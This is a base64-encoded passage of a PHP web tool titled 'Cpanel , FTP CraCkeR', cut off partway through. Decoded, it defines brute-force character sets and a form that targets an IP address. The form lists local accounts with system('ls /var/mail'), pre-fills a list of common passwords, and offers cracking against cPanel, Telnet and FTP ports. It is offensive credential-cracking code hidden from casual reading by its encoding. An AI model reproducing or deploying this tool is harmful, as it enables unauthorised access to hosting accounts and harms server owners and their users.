UiIsICJTIiwgIlQiLCAiVSIsICJWIiwgIlciLCAiWCIsICJZIiwgIloiKTsNCiAkY2hhcnNldG51bWVyaWMgPSBhcnJheSgiMCIsICIxIiwgIjIiLCAiMyIsICI0IiwgIjUiLCAiNiIsICI3IiwgIjgiLCAiOSIpOw0KICRjaGFyc2V0bG93ZXJudW1lcmljID0gYXJyYXkoImEiLCAiYiIsICJjIiwgImQiLCAiZSIsICJmIiwgImciLCAiaCIsICJpIiwgImoiLCAiayIsICJsIiwgIm0iLCAibiIsICJvIiwgInAiLCAicSIsICJyIiwgInMiLCAidCIsICJ1IiwgInYiLCAidyIsICJ4IiwgInkiLCAieiIsICIwIiwgIjEiLCAiMiIsICIzIiwgIjQiLCAiNSIsICI2IiwgIjciLCAiOCIsICI5Iik7DQogJGNoYXJzZXR1cHBlcm51bWVyaWMgPSBhcnJheSgiQSIsICJCIiwgIkMiLCAiRCIsICJFIiwgIkYiLCAiRyIsICJIIiwgIkkiLCAiSiIsICJLIiwgIkwiLCAiTSIsICJOIiwgIk8iLCAiUCIsICJRIiwgIlIiLCAiUyIsICJUIiwgIlUiLCAiViIsICJXIiwgIlgiLCAiWSIsICJaIiwgIjAiLCAiMSIsICIyIiwgIjMiLCAiNCIsICI1IiwgIjYiLCAiNyIsICI4IiwgIjkiKTsNCiAkY2hhcnNldGxldHRlcnMgPSBhcnJheSgiYSIsICJiIiwgImMiLCAiZCIsICJlIiwgImYiLCAiZyIsICJoIiwgImkiLCAiaiIsICJrIiwgImwiLCAibSIsICJuIiwgIm8iLCAicCIsICJxIiwgInIiLCAicyIsICJ0IiwgInUiLCAidiIsICJ3IiwgIngiLCAieSIsICJ6IiwgIkEiLCAiQiIsICJDIiwgIkQiLCAiRSIsICJGIiwgIkciLCAiSCIsICJJIiwgIkoiLCAiSyIsICJMIiwgIk0iLCAiTiIsICJPIiwgIlAiLCAiUSIsICJSIiwgIlMiLCAiVCIsICJVIiwgIlYiLCAiVyIsICJYIiwgIlkiLCAiWiIgKTsNCiAkY2hhcnNldHN5bWJvbHM9IGFycmF5KCIhIiwgIkAiLCAiIyIsICIkIiwgIiUiLCAiXiIsICImIiwgIioiLCAiKCIsICIpIiwiXyIgKTsNCiAkY2hhcnNldGxvd2Vyc3ltYm9scyA9IGFycmF5KCJhIiwgImIiLCAiYyIsICJkIiwgImUiLCAiZiIsICJnIiwgImgiLCAiaSIsICJqIiwgImsiLCAibCIsICJtIiwgIm4iLCAibyIsICJwIiwgInEiLCAiciIsICJzIiwgInQiLCAidSIsICJ2IiwgInciLCAieCIsICJ5IiwgInoiLCIhIiwgIkAiLCAiIyIsICIkIiwgIiUiLCAiXiIsICImIiwgIioiLCAiKCIsICIpIiwiXyIgKTsNCiAkY2hhcnNldHVwcGVyc3ltYm9scyA9IGFycmF5KCJBIiwgIkIiLCAiQyIsICJEIiwgIkUiLCAiRiIsICJHIiwgIkgiLCAiSSIsICJKIiwgIksiLCAiTCIsICJNIiwgIk4iLCAiTyIsICJQIiwgIlEiLCAiUiIsICJTIiwgIlQiLCAiVSIsICJWIiwgIlciLCAiWCIsICJZIiwgIloiLCIhIiwgIkAiLCAiIyIsICIkIiwgIiUiLCAiXiIsICImIiwgIioiLCAiKCIsICIpIiwiXyIgKTsNCiAkY2hhcnNldGxldHRlcnNzeW1ib2xzID0gYXJyYXkoImEiLCAiYiIsICJjIiwgImQiLCAiZSIsICJmIiwgImciLCAiaCIsICJpIiwgImoiLCAiayIsICJsIiwgIm0iLCAibiIsICJvIiwgInAiLCAicSIsICJyIiwgInMiLCAidCIsICJ1IiwgInYiLCAidyIsICJ4IiwgInkiLCAieiIsICJBIiwgIkIiLCAiQyIsICJEIiwgIkUiLCAiRiIsICJHIiwgIkgiLCAiSSIsICJKIiwgIksiLCAiTCIsICJNIiwgIk4iLCAiTyIsICJQIiwgIlEiLCAiUiIsICJTIiwgIlQiLCAiVSIsICJWIiwgIlciLCAiWCIsICJZIiwgIloiLCIhIiwgIkAiLCAiIyIsICIkIiwgIiUiLCAiXiIsICImIiwgIioiLCAiKCIsICIpIiwiXyIgKTsNCiAkY2hhcnNldG51bWVyaWNzeW1ib2xzID0gYXJyYXkoIjAiLCAiMSIsICIyIiwgIjMiLCAiNCIsICI1IiwgIjYiLCAiNyIsICI4IiwgIjkiLCIhIiwgIkAiLCAiIyIsICIkIiwgIiUiLCAiXiIsICImIiwgIioiLCAiKCIsICIpIiwiXyIgKTsNCiAkY2hhcnNldGxvd2VybnVtZXJpY3N5bWJvbHMgPSBhcnJheSgiYSIsICJiIiwgImMiLCAiZCIsICJlIiwgImYiLCAiZyIsICJoIiwgImkiLCAiaiIsICJrIiwgImwiLCAibSIsICJuIiwgIm8iLCAicCIsICJxIiwgInIiLCAicyIsICJ0IiwgInUiLCAidiIsICJ3IiwgIngiLCAieSIsICJ6IiwgIjAiLCAiMSIsICIyIiwgIjMiLCAiNCIsICI1IiwgIjYiLCAiNyIsICI4IiwgIjkiLCIhIiwgIkAiLCAiIyIsICIkIiwgIiUiLCAiXiIsICImIiwgIioiLCAiKCIsICIpIiwiXyIgKTsNCiAkY2hhcnNldHVwcGVybnVtZXJpY3N5bWJvbHMgPSBhcnJheSgiQSIsICJCIiwgIkMiLCAiRCIsICJFIiwgIkYiLCAiRyIsICJIIiwgIkkiLCAiSiIsICJLIiwgIkwiLCAiTSIsICJOIiwgIk8iLCAiUCIsICJRIiwgIlIiLCAiUyIsICJUIiwgIlUiLCAiViIsICJXIiwgIlgiLCAiWSIsICJaIiwgIjAiLCAiMSIsICIyIiwgIjMiLCAiNCIsICI1IiwgIjYiLCAiNyIsICI4IiwgIjkiLCIhIiwgIkAiLCAiIyIsICIkIiwgIiUiLCAiXiIsICImIiwgIioiLCAiKCIsICIpIiwiXyIgKTsNCiAkY2hhcnNldGxldHRlcnNzeW1ib2xzID0gYXJyYXkoImEiLCAiYiIsICJjIiwgImQiLCAiZSIsICJmIiwgImciLCAiaCIsICJpIiwgImoiLCAiayIsICJsIiwgIm0iLCAibiIsICJvIiwgInAiLCAicSIsICJyIiwgInMiLCAidCIsICJ1IiwgInYiLCAidyIsICJ4IiwgInkiLCAieiIsICJBIiwgIkIiLCAiQyIsICJEIiwgIkUiLCAiRiIsICJHIiwgIkgiLCAiSSIsICJKIiwgIksiLCAiTCIsICJNIiwgIk4iLCAiTyIsICJQIiwgIlEiLCAiUiIsICJTIiwgIlQiLCAiVSIsICJWIiwgIlciLCAiWCIsICJZIiwgIloiICwiISIsICJAIiwgIiMiLCAiJCIsICIlIiwgIl4iLCAiJiIsICIqIiwgIigiLCAiKSIsIl8iICk7DQogJGNoYXJzZXRsZXR0ZXJzbnVtZXJpY3N5bWJvbHM9YXJyYXkoImEiLCAiYiIsICJjIiwgImQiLCAiZSIsICJmIiwgImciLCAiaCIsICJpIiwgImoiLCAiayIsICJsIiwgIm0iLCAibiIsICJvIiwgInAiLCAicSIsICJyIiwgInMiLCAidCIsICJ1IiwgInYiLCAidyIsICJ4IiwgInkiLCAieiIsICJBIiwgIkIiLCAiQyIsICJEIiwgIkUiLCAiRiIsICJHIiwgIkgiLCAiSSIsICJKIiwgIksiLCAiTCIsICJNIiwgIk4iLCAiTyIsICJQIiwgIlEiLCAiUiIsICJTIiwgIlQiLCAiVSIsICJWIiwgIlciLCAiWCIsICJZIiwgIloiICwiISIsICJAIiwgIiMiLCAiJCIsICIlIiwgIl4iLCAiJiIsICIqIiwgIigiLCAiKSIsIl8iLCIwIiwgIjEiLCAiMiIsICIzIiwgIjQiLCAiNSIsICI2IiwgIjciLCAiOCIsICI5IiApOw0KICAgIGlmICgkY2hhcnNldCA9PSAiYWxsIikNCiAgICAgICAgJHZhbHMgPSAkY2hhcnNldGFsbDsNCiAgICBlbHNlaWYgKCRjaGFyc2V0ID09ICJsb3dlcmNhc2UiKSANCiAgICAgICAgJHZhbHMgPSAkY2hhcnNldGxvd2VyOw0KICAgICBlbHNlaWYgKCRjaGFyc2V0ID09ICJ1cHBlcmNhc2UiKSANCiAgICAgICAgJHZhbHMgPSAkY2hhcnNldHVwcGVyOw0KICAgICBlbHNlaWYgKCRjaGFyc2V0ID09ICJudW1lcmljIikgDQogICAgICAgICR2YWxzID0gJGNoYXJzZXRudW1lcmljOw0KICAgICBlbHNlaWYgKCRjaGFyc2V0ID09ICJsb3dlcm51bWVyaWMiKSANCiAgICAgICAgJHZhbHMgPSAkY2hhcnNldGxvd2VybnVtZXJpYzsNCiAgICAgZWxzZWlmICgkY2hhcnNldCA9PSAidXBwZXJudW1lcmljIikgDQogICAgICAgICR2YWxzID0gJGNoYXJzZXR1cHBlcm51bWVyaWM7DQogICAgZWxzZWlmICgkY2hhcnNldCA9PSAibGV0dGVycyIpIA0KICAgICAgICAkdmFscyA9ICRjaGFyc2V0bGV0dGVyczsNCiAgICBlbHNlaWYgKCRjaGFyc2V0ID09ICJzeW1ib2xzIikgDQogICAgICAgICR2YWxzID0gJGNoYXJzZXRzeW1ib2xzOw0KICAgIGVsc2VpZiAoJGNoYXJzZXQgPT0gImxvd2Vyc3ltYm9scyIpIA0KICAgICAgICAkdmFscyA9ICRjaGFyc2V0bG93ZXJzeW1ib2xzOw0KICAgIGVsc2VpZiAoJGNoYXJzZXQgPT0gInVwcGVyc3ltYm9scyIpIA0KICAgICAgICAkdmFscyA9ICRjaGFyc2V0dXBwZXJzeW1ib2xzOw0KICAgIGVsc2VpZiAoJGNoYXJzZXQgPT0gImxldHRlcnNzeW1ib2xzIikgDQogICAgICAgICR2YWxzID0gJGNoYXJzZXRsZXR0ZXJzc3ltYm9sczsNCiAgICBlbHNlaWYgKCRjaGFyc2V0ID09ICJudW1iZXJzc3ltYm9scyIpIA0KICAgICAgICAkdmFscyA9ICRjaGFyc2V0bnVtZXJpY3N5bWJvbHM7DQogICAgZWxzZWlmICgkY2hhcnNldCA9PSAibG93ZXJudW1lcmljc3ltYm9scyIpIA0KICAgICAgICAkdmFscyA9ICRjaGFyc2V0bG93ZXJudW1lcmljc3ltYm9sczsNCiAgICBlbHNlaWYgKCRjaGFyc2V0ID09ICJ1cHBlcm51bWVyaWNzeW1ib2xzIikgDQogICAgICAgICR2YWxzID0gJGNoYXJzZXR1cHBlcm51bWVyaWNzeW1ib2xzOw0KICAgIGVsc2VpZiAoJGNoYXJzZXQgPT0gImxldHRlcnNudW1lcmljc3ltYm9scyIpIA0KICAgICAgICAkdmFscyA9ICRjaGFyc2V0bGV0dGVyc251bWVyaWNzeW1ib2xzOw0KICAgIGVsc2UgZWNobyAiSU5WQUxJRCBDSEFSU0VUIjsNCj8+DQo8aHRtbD4NCjxoZWFkPg0KPG1ldGEgaHR0cC1lcXVpdj0iQ29udGVudC1MYW5ndWFnZSIgY29udGVudD0iZW4tdXMiPg0KPC9oZWFkPg0KPHRpdGxlPkNwYW5lbCAsIEZUUCBDcmFDa2VSPC90aXRsZT4NCjxib2R5IHRleHQ9IiMwMEZGMDAiIGJnY29sb3I9IiMwMDAwMDAiIHZsaW5rPSIjMDA4MDAwIiBsaW5rPSIjMDA4MDAwIiBhbGluaz0iIzAwODAwMCI+DQo8ZGl2IGFsaWduPSJjZW50ZXIiPg0KPGZvcm0gbWV0aG9kPSJQT1NUIiBzdHlsZT0iYm9yZGVyOiAxcHggc29saWQgIzAwMDAwMCI+DQogICAgICAgIDx0YWJsZSBib3JkZXI9IjEiIHdpZHRoPSI2NyUiIGJvcmRlcmNvbG9ybGlnaHQ9IiMwMDgwMDAiIGJvcmRlcmNvbG9yZGFyaz0iIzAwMzcwMCI+DQogICAgICAgICAgICAgICAgPHRyPg0KICAgICAgICAgICAgICAgICAgICAgICAgPHRkPg0KICAgICAgICA8cCBhbGlnbj0iY2VudGVyIj48Yj48Zm9udCBjb2xvcj0iIzAwODAwMCIgZmFjZT0iVGFob21hIiBzaXplPSIyIj4NCiAgICAgICAgICAgICAgICA8c3BhbiBsYW5nPSJlbi11cyI+SVAgc2VydmVyPC9zcGFuPiA6PC9mb250Pjxmb250IGZhY2U9IkFyaWFsIj4NCiAgICAgICAgPC9mb250Pjxmb250IGZhY2U9IkFyaWFsIiBjb2xvcj0iI0NDMDAwMCI+DQogICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJ0YXJnZXQiIHNpemU9IjE2IiB2YWx1ZT0iPD9waHAgZWNobyAkdGFyZ2V0ID8+IiBzdHlsZT0iYm9yZGVyOiAycHggc29saWQgIzFEMUQxRDsgYmFja2dyb3VuZC1jb2xvcjogIzAwMDAwMDsgY29sb3I6IzAwODAwMDsgZm9udC1mYW1pbHk6VmVyZGFuYTsgZm9udC13ZWlnaHQ6Ym9sZDsgZm9udC1zaXplOjEzcHgiPjwvZm9udD48L2I+PC9wPg0KICAgICAgICA8cCBhbGlnbj0iY2VudGVyIj48Yj48Zm9udCBjb2xvcj0iIzAwODAwMCIgZmFjZT0iVGFob21hIiBzaXplPSIyIj4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsgPC9mb250PjwvYj48L3A+DQogICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGFsaWduPSJjZW50ZXIiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dGFibGUgYm9yZGVyPSIxIiB3aWR0aD0iNTclIiBib3JkZXJjb2xvcmxpZ2h0PSIjMDA4MDAwIiBib3JkZXJjb2xvcmRhcms9IiMwMDM3MDAiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBhbGlnbj0iY2VudGVyIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIGxhbmc9ImVuLXVzIj48Zm9udCBjb2xvcj0iI0ZGMDAwMCI+PGI+VXNlciBMaXN0PC9iPjwvZm9udD48L3NwYW4+PC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxwIGFsaWduPSJjZW50ZXIiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHNwYW4gbGFuZz0iZW4tdXMiPjxmb250IGNvbG9yPSIjRkYwMDAwIj48Yj5QYXNzd29yZCBMaXN0PC9iPjwvZm9udD48L3NwYW4+PC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L3RhYmxlPg0KDQogICAgICAgICAgICAgICAgICAgICAgICA8cCBhbGlnbj0iY2VudGVyIj4mbmJzcDs8dGV4dGFyZWEgcm93cz0iMjAiIG5hbWU9InVzZXJzIiBjb2xzPSIyNSIgc3R5bGU9ImJvcmRlcjogMnB4IHNvbGlkICMxRDFEMUQ7IGJhY2tncm91bmQtY29sb3I6ICMwMDAwMDA7IGNvbG9yOiNDMEMwQzAiPjw/cGhwIHN5c3RlbSgnbHMgL3Zhci9tYWlsJyk7ID8+DQo8L3RleHRhcmVhPjx0ZXh0YXJlYSByb3dzPSIyMCIgbmFtZT0icGFzc3dvcmRzIiBjb2xzPSIyNSIgc3R5bGU9ImJvcmRlcjogMnB4IHNvbGlkICMxRDFEMUQ7IGJhY2tncm91bmQtY29sb3I6ICMwMDAwMDA7IGNvbG9yOiNDMEMwQzAiPjw/cGhwIHByaW50ICIxMjMxMjNcbjEyMzQ1NlxuMTIzNDU2N1xuMTIzNDU2NzhcbjEyMzQ1Njc4OVxuMTU5MTU5XG4xMTIyMzNcbjMzMjIxMVxuMTQ3ODk2M1xuMTQ3ODk2My5cbmNwYW5lbFxucGFzc3dvcmRcbnVzZXJcbnBhc3N3ZFxucGFzc3dvcmRzXG4xNTkzNTdcbjM1Nzk1MVxuMTE0NDc3XG5wYXNzXG5QYXNzd29yZFxuIUAjMTIzIUAjXG4xMjMzMjFcbnBhc3MxMjNcbnF3ZXJ0eVxuYWJjZGVmXG5hYmNkMTIzNFxucXdlcnR5dWlvcFxuMTIzMTIzXG4xMjEyMTJcbjExMTExMVxuMTAyMDMwIjsgPz48L3RleHRhcmVhPjxicj4NCiAgICAgICAgPGJyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9udCBzdHlsZT0iZm9udC13ZWlnaHQ6NzAwIiBzaXplPSIyIiBmYWNlPSJUYWhvbWEiIGNvbG9yPSIjMDA4MDAwIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIGxhbmc9ImFyLXNhIj5HdWVzcyBvcHRpb25zPC9zcGFuPjwvZm9udD48Zm9udCBzdHlsZT0iZm9udC1zaXplOiAxMnB0OyIgc2l6ZT0iLTMiIGZhY2U9IlZlcmRhbmEiPjxzcGFuIHN0eWxlPSJmb250LXNpemU6IDlwdDsiPiZuYnNwOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGZvbnQgZmFjZT0iVGFob21hIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBuYW1lPSJjcmFja3R5cGUiIHZhbHVlPSJjcGFuZWwiIHN0eWxlPSJmb250LXdlaWdodDogNzAwOyIgY2hlY2tlZCB0eXBlPSJyYWRpbyI+PC9mb250Pjwvc3Bhbj48L2ZvbnQ+PGI+PGZvbnQgc2l6ZT0iMiIgZmFjZT0iVGFob21hIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIENwYW5lbDwvZm9udD48Zm9udCBzaXplPSIyIiBjb2xvcj0iI2NjMDAwMCIgZmFjZT0iVGFob21hIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZm9udD48Zm9udCBzaXplPSIyIiBjb2xvcj0iI0ZGRkZGRiIgZmFjZT0iVGFob21hIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICgyMDgyKTwvZm9udD48L2I+PGZvbnQgc2l6ZT0iMiIgZmFjZT0iVGFob21hIj48Yj4gPC9iPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9mb250Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGZvbnQgc3R5bGU9ImZvbnQtc2l6ZTogMTJwdDsiIHNpemU9Ii0zIiBmYWNlPSJWZXJkYW5hIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxzcGFuIHN0eWxlPSJmb250LXNpemU6IDlwdDsiPjxmb250IGZhY2U9IlRhaG9tYSI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgbmFtZT0iY3JhY2t0eXBlIiB2YWx1ZT0iY3BhbmVsMiIgc3R5bGU9ImZvbnQtd2VpZ2h0OiA3MDA7IiB0eXBlPSJyYWRpbyI+PC9mb250Pjwvc3Bhbj48L2ZvbnQ+PGI+PGZvbnQgc2l6ZT0iMiIgZmFjZT0iVGFob21hIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFRlbG5ldDwvZm9udD48Zm9udCBzaXplPSIyIiBjb2xvcj0iI2NjMDAwMCIgZmFjZT0iVGFob21hIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZm9udD48Zm9udCBzaXplPSIyIiBjb2xvcj0iI0ZGRkZGRiIgZmFjZT0iVGFob21hIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICgyMyk8L2ZvbnQ+PC9iPjxmb250IHNpemU9IjIiIGZhY2U9IlRhaG9tYSI+PGI+IDwvYj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZm9udD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmb250IHN0eWxlPSJmb250LXNpemU6IDEycHQ7IiBzaXplPSItMyIgZmFjZT0iVmVyZGFuYSI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBzdHlsZT0iZm9udC1zaXplOiA5cHQ7Ij48Zm9udCBmYWNlPSJUYWhvbWEiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IG5hbWU9ImNyYWNrdHlwZSIgdmFsdWU9ImZ0cCIgc3R5bGU9ImZvbnQtd2VpZ2h0OiA3MDA7IiB0eXBlPSJyYWRpbyI+PC9mb250Pjwvc3Bhbj48L2ZvbnQ+PGZvbnQgc3R5bGU9ImZvbnQtd2VpZ2h0OiA3MDA7IiBzaXplPSIyIiBmYWNlPSJUYWhvbWEiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9mb250PjxzcGFuIHN0eWxlPSJmb250LXdlaWdodDogNzAwOyI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9udCBzaXplPSIyIiBmYWNlPSJUYWhvbWEiPkZ0cCA8L2ZvbnQ+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9udCBzaXplPSIyIiBjb2xvcj0iI0ZGRkZGRiIgZmFjZT0iVGFob21hIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICgyMSk8L2ZvbnQ+PC9zcGFuPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGZvbnQgc3R5bGU9ImZvbnQtd2VpZ2h0OjcwMCIgc2l6ZT0iMiIgZmFjZT0iVGFob21hIiBjb2xvcj0iIzAwODAwMCI+PHNwYW4gbGFuZz0iYXItc2EiPlRpbWVvdXQgZGVsYXk8L3NwYW4+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY29ubmVjdF90aW1lb3V0IiBzdHlsZT0iYm9yZGVyOiAycHggc29saWQgIzFEMUQxRDtiYWNrZ3JvdW5kOiBibGFjaztjb2xvcjpSRUQiIHNpemU9NDggdmFsdWU9Ijw/cGhwIGVjaG8gJGNvbm5lY3RfdGltZW91dDs/PiI+PC9pbnB1dD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxicj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0iYnJ1dGVmb3JjZSIgdmFsdWU9InRydWUiPjxmb250IHN0eWxlPSJmb250LXdlaWdodDo3MDAiIHNpemU9IjIiIGZhY2U9IlRhaG9tYSIgY29sb3I9IiMwMDgwMDAiPjxzcGFuIGxhbmc9ImFyLXNhIj5CcnV0ZWZvcmNlPC9zcGFuPjwvaW5wdXQ+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c2VsZWN0IG5hbWU9ImNoYXJzZXQiIHN0eWxlPSJib3JkZXI6IDJweCBzb2xpZCAjMUQxRDFEO2JhY2tncm91bmQ6IGJsYWNrO2NvbG9yOlJFRCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0iYWxsIj5BbGwgTGV0dGVycyArIE51bWJlcnM8L29wdGlvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0ibnVtZXJpYyI+TnVtYmVyczwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9ImxldHRlcnMiPkxldHRlcnM8L29wdGlvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSJzeW1ib2xzIj5TeW1ib2xzPC9vcHRpb24+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0ibG93ZXJjYXNlIj5Mb3dlciBMZXR0ZXJzPC9vcHRpb24+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0idXBwZXJjYXNlIj5IaWdoZXIgTGV0dGVyczwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9Imxvd2VybnVtZXJpYyI+TG93ZXIgTGV0dGVycyArIE51bWJlcnM8L29wdGlvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSJ1cHBlcm51bWVyaWMiPlVwcGVyIExldHRlcnMgKyBOdW1iZXJzPC9vcHRpb24+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0ibG93ZXJzeW1ib2xzIj5Mb3dlciBMZXR0ZXJzICsgU3ltYm9sczwvb3B0aW9uPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxvcHRpb24gdmFsdWU9InVwcGVyc3ltYm9scyI+VXBwZXIgTGV0dGVycyArIFN5bWJvbHM8L29wdGlvbj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8b3B0aW9uIHZhbHVlPSJsZXR0ZXJzc3ltYm9scyI+QWxsIExldHRlcnMgKyBTeW1ib2xzPC9vcHRpb24+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0ibnVtYmVyc3N5bWJvbHMiPk51bWJlcnMgKyBTeW1ib2xzPC9vcHRpb24+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0ibG93ZXJudW1lcmljc3ltYm9scyI+TG93ZXIgTGV0dGVycyArIE51bWJlcnMgKyBTeW1ib2xzPC9vcHRpb24+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0idXBwZXJudW1lcmljc3ltYm9scyI+VXBwZXIgTGV0dGVycyArIE51bWJlcnMgKyBTeW1ib2xzPC9vcHRpb24+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPG9wdGlvbiB2YWx1ZT0ibGV0dGVyc251bWVyaWNzeW1ib2xzIj5BbGwgTGV0dGVycyArIE51bWJlcnMgKyBTeW1ib2xzPC9vcHRpb24+DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvc2VsZWN0Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGJyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGZvbnQgc3R5bGU9ImZvbnQtd2VpZ2h0OjcwMCIgc2l6ZT0iMiIgZmFjZT0iVGFob21hIiBjb2xvcj0iIzAwODAwMCI+PHNwYW4gbGFuZz0iYXItc2EiPk1pbiBCcnV0ZWZvcmNlIExlbmd0aDo8L3NwYW4+PC9mb250Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im1pbl9sZW5ndGgiIHN0eWxlPSJib3JkZXI6IDJweCBzb2xpZCAjMUQxRDFEO2JhY2tncm91bmQ6IGJsYWNrO2NvbG9yOlJFRCIgc2l6ZT00OCB2YWx1ZT0iPD9waHAgZWNobyAkbWluX2xlbmd0aDs/PiI+PC9pbnB1dD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxicj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmb250IHN0eWxlPSJmb250LXdlaWdodDo3MDAiIHNpemU9IjIiIGZhY2U9IlRhaG9tYSIgY29sb3I9I